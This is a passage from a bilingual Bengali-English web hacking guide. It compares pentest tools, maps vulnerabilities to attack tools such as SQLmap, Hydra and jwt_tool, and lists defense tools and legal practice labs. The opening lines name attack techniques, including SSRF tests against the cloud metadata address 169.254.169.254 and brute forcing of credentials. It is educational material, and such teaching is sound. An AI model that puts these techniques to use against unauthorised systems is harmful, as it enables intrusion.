- 🔐 Auth → Default credentials, JWT alg:none, brute force
- 🌐 SSRF → 127.0.0.1, 169.254.169.254 দিয়ে test

CHAPTER 11

🔧 Tools Comparison — সেরা টুল বেছে নাও

Web Hacking-এর টুলগুলো পাশাপাশি তুলনা

🕷 Web Proxy তুলনা

টুল	ধরন	ভালো দিক	দুর্বল দিক	কখন ব্যবহার
Burp Suite CE	Proxy/Scanner	Industry standard, সব feature	Pro তে scanner নেই, ধীর intruder	সব সময় প্রথম পছন্দ
Burp Suite Pro	Proxy/Scanner	Automated scanner, fast intruder	দামী ($449/year)	Professional pentest
OWASP ZAP	Proxy/Scanner	Free, open source, auto scan	Burp-এর চেয়ে কম শক্তিশালী	Automated scan, budget option
mitmproxy	CLI Proxy	Scripting, automation	GUI নেই	Automated interception

📂 Directory Scanner তুলনা

টুল	গতি	বিশেষত্ব	কখন ব্যবহার
Gobuster	⭐⭐⭐⭐⭐	দ্রুত, Golang-based	CTF, quick scan
FFUF	⭐⭐⭐⭐⭐	সব ধরনের fuzzing	Parameter, subdomain, vhost fuzzing
Dirb	⭐⭐⭐	Old but reliable	Basic directory scan

টুল	গতি	বিশেষত্ব	কখন ব্যবহার
Feroxbuster	⭐⭐⭐⭐⭐	Rust-based, recursive	Recursive deep scan
Dirbuster	⭐⭐⭐	GUI, Java-based	Visual scan (beginner)

💉 SQLi Scanner তুলনা

টুল	Detection	Automation	কখন ব্যবহার
SQLmap	⭐⭐⭐⭐⭐	⭐⭐⭐⭐⭐	সব SQL injection — প্রথম পছন্দ
Manual (Burp)	⭐⭐⭐⭐⭐	⭐	Complex logic, WAF bypass
Havij (old)	⭐⭐⭐	⭐⭐⭐⭐	GUI (আর ব্যবহার করো না)
NoSQLMap	⭐⭐⭐⭐	⭐⭐⭐⭐	MongoDB, NoSQL injection

🎯 কোন vulnerability-তে কোন টুল?

⚔️ Attack Tools

Vuln	Tool
SQLi	SQLmap, Burp
XSS	Burp, XSStrike
CSRF	Burp, Manual
SSRF	Burp, SSRFmap
Dir Scan	Gobuster, FFUF
Auth BF	Hydra, Burp Intruder

Vuln	Tool
JWT	jwt_tool, hashcat
WordPress	WPScan

🛡 Defense Tools

কাজ	Tool
WAF	ModSecurity, Cloudflare
Header Check	SecurityHeaders.com
SSL Check	SSL Labs
DAST	OWASP ZAP
SAST	SonarQube, Snyk
Dependency	Dependabot, OWASP DC
Monitoring	Wazuh, ELK Stack
Pentest Report	Dradis, Serpico

📚 সেরা Practice Platform

Platform	ধরন	কার জন্য	খরচ	Rating
PortSwigger Web Academy	Web Labs	সব স্তর	Free	⭐⭐⭐⭐⭐ সেরা
TryHackMe	Guided	Beginner	Free+	⭐⭐⭐⭐⭐

Platform	ধরন	কার জন্য	খরচ	Rating
HackTheBox	CTF	Intermediate+	Free+	⭐⭐⭐⭐⭐
DVWA	Local Lab	Beginner	Free	⭐⭐⭐⭐
Juice Shop	Local Lab	Modern app practice	Free	⭐⭐⭐⭐⭐
HackerOne CTF	Real Bug Bounty	Advanced	Free	⭐⭐⭐⭐⭐
PentesterLab	Labs	Structured learning	Free+	⭐⭐⭐⭐

🔧 Tools Selection গাইড

- 🎯 Proxy → Burp Suite CE দিয়ে শুরু করো
- 🚀 SQLi → SQLmap প্রথমে, তারপর manual
- 📂 Dir Scan → FFUF বা Gobuster
- 🔐 Auth Attack → Burp Intruder বা Hydra
- 📚 Practice → PortSwigger Academy সব lab করো

🕷️ "The web is full of vulnerabilities. Learn to find them before attackers do."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। সব সময় authorized environment-এ practice করো।

v1.0 — Web Hacking & OWASP Top 10 | Bilingual | Dark/Light Mode